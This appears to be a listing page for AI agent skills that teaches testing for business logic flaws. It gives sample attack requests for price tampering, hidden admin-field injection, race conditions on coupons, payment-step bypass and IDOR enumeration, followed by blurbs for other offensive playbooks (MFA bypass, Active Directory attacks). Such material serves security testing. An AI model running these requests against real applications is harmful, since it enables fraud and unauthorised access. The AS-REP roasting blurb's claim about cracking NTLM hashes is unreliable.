Business logic flaws are application vulnerabilities where valid functions are abused in unintended ways: price manipulation via hidden field tampering, workflow step-skipping, function call limit bypass (coupon reuse), process timing exploitation (race conditions on balance updates), and request forging via guessable/predictable parameters. Detect using Burp Suite proxy interception, HTTP POST/GET parameter analysis, and misuse-case testing against multi-step workflows. Tools: Burp Suite, OWASP ZAP.
インストールする前に、エージェントに与えられる指示の中身を確認できます。
Business logic flaws occur when an application's security controls are implemented only on the client side, or when developers assume users will always follow the intended workflow. Unlike injection attacks, these vulnerabilities use the application's own features correctly from a technical standpoint but in unintended sequences or with unexpected values. They are particularly dangerous because automated scanners rarely detect them — they require understanding the application's intended purpose. Common manifestations include price/quantity manipulation, workflow step bypass, coupon reuse, race conditions in financial operations, and privilege escalation via hidden or predictable parameters.
Data Validation Testing (BUSL-01)
Request Forging (BUSL-02)
Integrity Check Testing (BUSL-03)
Process Timing Exploitation (BUSL-04)
Function Use Limit Testing (BUSL-05)
Workflow Circumvention (BUSL-06)
# Price/quantity manipulation via Burp Intercept
# Original request:
POST /checkout HTTP/1.1
item_id=123&quantity=1&price=99.99&total=99.99
# Modified request:
POST /checkout HTTP/1.1
item_id=123&quantity=1&price=0.01&total=0.01
# Negative quantity for credit
POST /cart/add HTTP/1.1
item_id=123&quantity=-10
# Hidden field privilege escalation
# Original:
POST /profile/update HTTP/1.1
name=John&email=john@domain.com
# Modified (inject hidden admin field observed in source):
POST /profile/update HTTP/1.1
name=John&email=john@domain.com&role=admin&is_admin=true
# Coupon reuse — apply same coupon twice via Burp Repeater
POST /apply-coupon HTTP/1.1
coupon_code=DISCOUNT20
# Race condition on coupon/balance (Burp Intruder / turbo-intruder)
# Send 20 simultaneous requests to apply one-time coupon
# turbo-intruder script:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=20)
for i in range(20):
engine.queue(target.req)
# Workflow skip — bypass payment step
# Step 1: /checkout/cart -> Step 2: /checkout/payment -> Step 3: /checkout/confirm
# Skip step 2:
GET /checkout/confirm?order_id=12345 HTTP/1.1
# IDOR — enumerate predictable order IDs
curl -s -b "session=TOKEN" TARGET/orders/1001
curl -s -b "session=TOKEN" TARGET/orders/1002
# Automate with Burp Intruder: numeric sequence on order ID
# Distributed Denial of Dollar — trigger fee thresholds
POST /transfer HTTP/1.1
amount=0.01
# Repeat 10000 times to trigger per-transaction fee accumulation
Scenario 1 — E-Commerce Price Manipulation
Setup: Shopping cart stores price in hidden POST field; server trusts client-supplied price on checkout.
Trigger: Intercept POST to /checkout, change price=299.99 to price=0.01.
Impact: High-value item purchased for near-zero cost; financial loss to merchant.
Scenario 2 — Race Condition on One-Time Coupon Setup: Discount coupon validated server-side but check and update are not atomic. Trigger: Send 20 simultaneous POST requests applying the same coupon using Burp Intruder with max concurrency. Impact: Coupon applied multiple times before server marks it as used; full discount stack.
Scenario 3 — Workflow Step Bypass on Free Trial
Setup: Premium feature gated behind payment step in multi-step checkout; state stored in URL parameter.
Trigger: Skip directly to /account/activate-premium?plan=annual&payment_status=complete without completing payment.
Impact: Premium features activated without payment; revenue bypass.
[[bola-idor]] frequently surfaces business logic violations — accessing another user's order ID often reveals whether they have applied discounts, completed payments, or hold different access tiers. Price manipulation via hidden field tampering is the same class of bug as [[authz-bypass]] parameter tampering. Race conditions in financial operations benefit from the same timing analysis as [[session-fixation]] window attacks. Workflow step-skipping that grants access to restricted features without paying is structurally identical to an [[auth-bypass]] on the payment gate.
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.
日本語の概要は準備中です。原文の説明を表示しています。
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
日本語の概要は準備中です。原文の説明を表示しています。
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques
日本語の概要は準備中です。原文の説明を表示しています。
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
日本語の概要は準備中です。原文の説明を表示しています。
Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.
日本語の概要は準備中です。原文の説明を表示しています。
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
日本語の概要は準備中です。原文の説明を表示しています。